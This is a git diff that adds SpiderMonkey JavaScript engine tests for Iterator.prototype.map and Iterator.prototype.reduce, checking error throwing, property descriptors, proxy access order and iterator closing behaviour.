diff --git a/js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js b/js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js
new file mode 100644
index 0000000000..334e0fd8f9
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/mapper-not-callable-throw.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Eagerly throw TypeError when `mapper` is not callable.
+info:
+features: [iterator-helpers]
+---*/
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(undefined), TypeError);
+assertThrowsInstanceOf(() => [].values().map(undefined), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(null), TypeError);
+assertThrowsInstanceOf(() => [].values().map(null), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(0), TypeError);
+assertThrowsInstanceOf(() => [].values().map(0), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(false), TypeError);
+assertThrowsInstanceOf(() => [].values().map(false), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map({}), TypeError);
+assertThrowsInstanceOf(() => [].values().map({}), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(''), TypeError);
+assertThrowsInstanceOf(() => [].values().map(''), TypeError);
+
+assertThrowsInstanceOf(() => Iterator.prototype.map(Symbol('')), TypeError);
+assertThrowsInstanceOf(() => [].values().map(Symbol('')), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js
new file mode 100644
index 0000000000..b38158d73a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator-after-done.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Mutate an iterator after it has been mapped and returned done.
+info:
+features: [iterator-helpers]
+---*/
+
+const array = [1, 2, 3];
+const iterator = [1, 2, 3].values().map(x => x * 2);
+
+assertEq(iterator.next().value, 2);
+assertEq(iterator.next().value, 4);
+assertEq(iterator.next().value, 6);
+assertEq(iterator.next().done, true);
+
+array.push(4);
+assertEq(iterator.next().done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js
new file mode 100644
index 0000000000..b1cc52fae5
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/mutate-iterator.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Mutate an iterator after it has been mapped.
+info:
+features: [iterator-helpers]
+---*/
+
+const array = [1, 2, 3];
+const iterator = array.values().map(x => x * 2);
+array.push(4);
+
+assertEq(iterator.next().value, 2);
+assertEq(iterator.next().value, 4);
+assertEq(iterator.next().value, 6);
+assertEq(iterator.next().value, 8);
+assertEq(iterator.next().done, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/name.js b/js/src/tests/non262/Iterator/prototype/map/name.js
new file mode 100644
index 0000000000..3ba024d6e7
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+/*---
+esid: pending
+description: %Iterator.prototype%.map.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(Iterator.prototype.map.name, 'map');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(Iterator.prototype.map, 'name');
+assertEq(propertyDescriptor.value, 'map');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js b/js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js
new file mode 100644
index 0000000000..69ef04a7b2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/output-at-generator-end.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map outputs correct value at end of iterator.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = [0].values().map(x => x);
+
+const iterRecord = iterator.next();
+assertEq(iterRecord.done, false);
+assertEq(iterRecord.value, 0);
+
+let endRecord = iterator.next();
+assertEq(endRecord.done, true);
+assertEq(endRecord.value, undefined);
+
+endRecord = iterator.next();
+assertEq(endRecord.done, true);
+assertEq(endRecord.value, undefined);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js b/js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js
new file mode 100644
index 0000000000..deb31e2aa2
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/pass-lastValue-to-next.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map passes lastValue to the `next` call.
+info: >
+ Iterator Helpers Proposal 2.1.5.2
+features: [iterator-helpers]
+---*/
+
+let nextWasPassed;
+
+const iteratorWhereNextTakesValue = Object.setPrototypeOf({
+ next: function(value) {
+ nextWasPassed = value;
+
+ if (this.value < 3)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ },
+ value: 0,
+}, Iterator.prototype);
+
+const mappedIterator = iteratorWhereNextTakesValue.map(x => x);
+
+assertEq(mappedIterator.next(1).value, 0);
+assertEq(nextWasPassed, undefined);
+
+assertEq(mappedIterator.next(2).value, 1);
+assertEq(nextWasPassed, 2);
+
+assertEq(mappedIterator.next(3).value, 2);
+assertEq(nextWasPassed, 3);
+
+assertEq(mappedIterator.next(4).done, true);
+assertEq(nextWasPassed, 4);
+
+// assertEq(mappedIterator.next(5).done, true);
+// assertEq(nextWasPassed, 4);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js
new file mode 100644
index 0000000000..f50bd0da10
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-iteratorValue.js
@@ -0,0 +1,55 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map does not call return when IteratorValue returns an abrupt completion.
+info: >
+features: [iterator-helpers]
+---*/
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = Object.setPrototypeOf({
+ next: function() {
+ throw 'error';
+ return { done: false, value: 0 };
+ },
+ return: function(value) {
+ log.push('close iterator');
+ return { done: true, value };
+ },
+}, Iterator.prototype);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => x);
+
+try {
+ mappedProxy.next();
+} catch (exc) {
+ assertEq(exc, 'error');
+}
+
+console.log(log.join('\n'));
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js
new file mode 100644
index 0000000000..4d4854da36
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion-in-yield.js
@@ -0,0 +1,62 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map calls return when yield throws.
+info: >
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+
+class TestIterator extends Iterator {
+ constructor(log) {
+ super();
+ this.log = log;
+ }
+
+ next() {
+ return {done: false, value: 0};
+ }
+
+ return(value) {
+ log.push('close iterator');
+ return {done: true, value};
+ }
+}
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = new TestIterator(log);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => x);
+
+mappedProxy.next();
+assertThrowsInstanceOf(() => mappedProxy.throw(new TestError()), TestError);
+mappedProxy.next();
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next
+get: return
+close iterator`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js
new file mode 100644
index 0000000000..ea0e10bdb4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-abrupt-completion.js
@@ -0,0 +1,54 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map accesses specified properties only.
+info: >
+features: [iterator-helpers]
+---*/
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = Object.setPrototypeOf({
+ next: function() {
+ return { done: false, value: 0 };
+ },
+ return: function(value) {
+ log.push('close iterator');
+ return { done: true, value };
+ },
+}, Iterator.prototype);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => { throw 'error'; });
+
+try {
+ mappedProxy.next();
+} catch (exc) {
+ assertEq(exc, 'error');
+}
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next
+get: return
+close iterator`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js b/js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js
new file mode 100644
index 0000000000..ba6dfd7ece
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/proxy-accesses.js
@@ -0,0 +1,94 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: %Iterator.prototype%.map accesses specified properties only.
+info: >
+features: [iterator-helpers]
+---*/
+
+const handlerProxy = log => new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ const target = args[0];
+ const item = Reflect[key](...args);
+
+ log.push(`${key}: ${args.filter(x => typeof x != 'object').map(x => x.toString())}`);
+
+ switch (typeof item) {
+ case 'function': return item.bind(new Proxy(target, handlerProxy(log)));
+ case 'object': return new Proxy(item, handlerProxy(log));
+ default: return item;
+ }
+ },
+});
+
+const log = [];
+const iterator = Object.setPrototypeOf({
+ next: function() {
+ if (this.value < 3)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ },
+ value: 0,
+}, Iterator.prototype);
+const iteratorProxy = new Proxy(iterator, handlerProxy(log));
+const mappedProxy = iteratorProxy.map(x => x);
+
+for (const item of mappedProxy) {
+}
+
+assertEq(
+ log.join('\n'),
+`get: map
+get: next
+get: value
+get: value
+getOwnPropertyDescriptor: value
+has: enumerable
+get: enumerable
+has: configurable
+get: configurable
+has: value
+get: value
+has: writable
+get: writable
+has: get
+has: set
+defineProperty: value
+set: value,1
+get: value
+get: value
+getOwnPropertyDescriptor: value
+has: enumerable
+get: enumerable
+has: configurable
+get: configurable
+has: value
+get: value
+has: writable
+get: writable
+has: get
+has: set
+defineProperty: value
+set: value,2
+get: value
+get: value
+getOwnPropertyDescriptor: value
+has: enumerable
+get: enumerable
+has: configurable
+get: configurable
+has: value
+get: value
+has: writable
+get: writable
+has: get
+has: set
+defineProperty: value
+set: value,3
+get: value`
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js b/js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js
new file mode 100644
index 0000000000..b7a0d56d5c
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/reenter-map-generator-from-mapper.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+
+// Re-entering the map() generator from the called mapper fails.
+
+let iterator;
+function mapper(x) {
+ let n = iterator.next();
+ return x;
+}
+iterator = [0].values().map(mapper);
+
+assertThrowsInstanceOf(iterator.next, TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js b/js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js
new file mode 100644
index 0000000000..aaed1f2617
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/this-not-iterator-throw.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Eagerly throw TypeError when `this` is not an iterator.
+info:
+features: [iterator-helpers]
+---*/
+
+const mapper = (x) => x;
+
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(undefined, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(null, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(0, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(false, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call({}, mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call('', mapper), TypeError);
+assertThrowsInstanceOf(() => Iterator.prototype.map.call(new Symbol(''), mapper), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js b/js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js
new file mode 100644
index 0000000000..d8573bb3ce
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/this-value-array-throws.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: TypeError is thrown if `this` is an Array.
+info:
+features: [Symbol.iterator]
+---*/
+
+assertThrowsInstanceOf(() => Iterator.prototype.map.call([], x => x), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js b/js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js
new file mode 100644
index 0000000000..287507a2f6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/throw-when-iterator-returns-non-object.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Throw TypeError if `next` call returns non-object.
+info:
+features: [iterator-helpers]
+---*/
+
+const iterator = returnValue => Object.setPrototypeOf({
+ next: () => returnValue,
+}, Iterator.prototype);
+const mapper = x => x;
+
+assertThrowsInstanceOf(() => iterator(undefined).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(null).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(0).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(false).map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator('').map(mapper).next(), TypeError);
+assertThrowsInstanceOf(() => iterator(Symbol()).map(mapper).next(), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js b/js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js
new file mode 100644
index 0000000000..d49daebb87
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/map/values-pass-through-chained-maps-to-next.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator'))
+//
+
+/*---
+esid: pending
+description: Multiple chained %Iterator.prototype%.map calls pass `lastValue` to the iterator's `next` call.
+info: >
+ Iterator Helpers Proposal 2.1.5.2
+features: [iterator-helpers]
+---*/
+
+let nextWasPassed;
+
+const iteratorWhereNextTakesValue = Object.setPrototypeOf({
+ next: function(value) {
+ nextWasPassed = value;
+
+ if (this.value < 3)
+ return { done: false, value: this.value++ };
+ return { done: true, value: undefined };
+ },
+ value: 0,
+}, Iterator.prototype);
+
+const mappedIterator = iteratorWhereNextTakesValue.map(x => 2 * x).map(x => 1 + x);
+
+assertEq(mappedIterator.next(1).value, 1);
+assertEq(nextWasPassed, undefined);
+
+assertEq(mappedIterator.next(2).value, 3);
+assertEq(nextWasPassed, 2);
+
+assertEq(mappedIterator.next(3).value, 5);
+assertEq(nextWasPassed, 3);
+
+assertEq(mappedIterator.next(4).done, true);
+assertEq(nextWasPassed, 4);
+
+assertEq(mappedIterator.next(5).done, true);
+assertEq(nextWasPassed, 4);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js b/js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js
new file mode 100644
index 0000000000..4395e1c7d4
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/accumulator-set-to-initial-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (acc, value) => acc;
+const iterator = [1, 2, 3].values();
+
+assertEq(iterator.reduce(reducer, 0), 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js b/js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..4e4852326a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/check-fn-after-getting-iterator.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends Iterator {
+ next() {
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+assertThrowsInstanceOf(() => iter.reduce(1), TypeError);
+
+assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/descriptor.js b/js/src/tests/non262/Iterator/prototype/reduce/descriptor.js
new file mode 100644
index 0000000000..0fb0ff01b3
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ Descriptor property of Iterator.prototype.reduce
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype, 'reduce');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
new file mode 100644
index 0000000000..d8e0a595cf
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/empty-iterator-without-initial-value-throws.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const iter = [].values();
+assertThrowsInstanceOf(() => iter.reduce((x, y) => x + y), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js b/js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js
new file mode 100644
index 0000000000..96634ba62b
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/error-from-correct-realm.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+const iter = [].values();
+
+assertThrowsInstanceOf(() => iter.reduce(), TypeError);
+assertThrowsInstanceOf(
+ otherGlobal.Iterator.prototype.reduce.bind(iter),
+ otherGlobal.TypeError,
+ 'TypeError comes from the realm of the method.',
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js b/js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js
new file mode 100644
index 0000000000..30c15a48fe
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/iterator-empty-return-initial-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (x, y) => 0;
+const iterator = [].values();
+
+assertEq(iterator.reduce(reducer, 1), 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js b/js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js
new file mode 100644
index 0000000000..d77789f04a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/iterator-next-return-non-object-throws.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ constructor(value) {
+ super();
+ this.value = value;
+ }
+
+ next() {
+ return this.value;
+ }
+}
+
+const sum = (x, y) => x + y;
+
+let iter = new TestIterator(undefined);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(null);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(0);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(false);
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator('');
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+iter = new TestIterator(Symbol(''));
+assertThrowsInstanceOf(() => iter.reduce(sum), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/left-associative.js b/js/src/tests/non262/Iterator/prototype/reduce/left-associative.js
new file mode 100644
index 0000000000..a6208504b6
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/left-associative.js
@@ -0,0 +1,7 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+assertEq([1, 2, 3].values().reduce((x, y) => `(${x}+${y})`, 0), '(((0+1)+2)+3)');
+assertEq([1, 2, 3].values().reduce((x, y) => `(${x}+${y})`), '((1+2)+3)');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/length.js b/js/src/tests/non262/Iterator/prototype/reduce/length.js
new file mode 100644
index 0000000000..0780e684a8
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ The `length` property of Iterator.prototype.reduce.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.reduce, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/name.js b/js/src/tests/non262/Iterator/prototype/reduce/name.js
new file mode 100644
index 0000000000..1269bb4b52
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+/*---
+ `name` property of Iterator.prototype.reduce.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(Iterator.prototype.reduce, 'name');
+assertEq(propDesc.value, 'reduce');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js b/js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..0fbeb995f1
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/next-throws-iterator-not-closed.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+class TestIterator extends Iterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const sum = (x, y) => x + y;
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+assertThrowsInstanceOf(() => iter.reduce(sum), Error);
+assertEq(iter.closed, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js b/js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
new file mode 100644
index 0000000000..a2b0008e6a
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/no-initial-value-set-accumulator-to-first-value.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (acc, value) => acc;
+const iterator = [1, 2, 3].values();
+
+assertEq(iterator.reduce(reducer), 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/proxy.js b/js/src/tests/non262/Iterator/prototype/reduce/proxy.js
new file mode 100644
index 0000000000..34569cf044
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+//
+// This test checks that %Iterator.prototype%.reduce only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends Iterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return {done: false, value};
+ }
+ return {done: true};
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.reduce((x, y) => x + y);
+
+assertEq(
+ log.join('\n'),
+ `get: reduce
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Iterator/prototype/reduce/reduce.js b/js/src/tests/non262/Iterator/prototype/reduce/reduce.js
new file mode 100644
index 0000000000..d824da211d
--- /dev/null
+++ b/js/src/tests/non262/Iterator/prototype/reduce/reduce.js
@@ -0,0 +1,9 @@
+// |reftest| skip-if(!this.hasOwnProperty('Iterator')) -- Iterator is not enabled unconditionally
+
+const reducer = (acc, value) => acc + value;
+const iterator = [1, 2, 3].values();
+
+assertEq(iterator.reduce(reducer, 0), 6);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
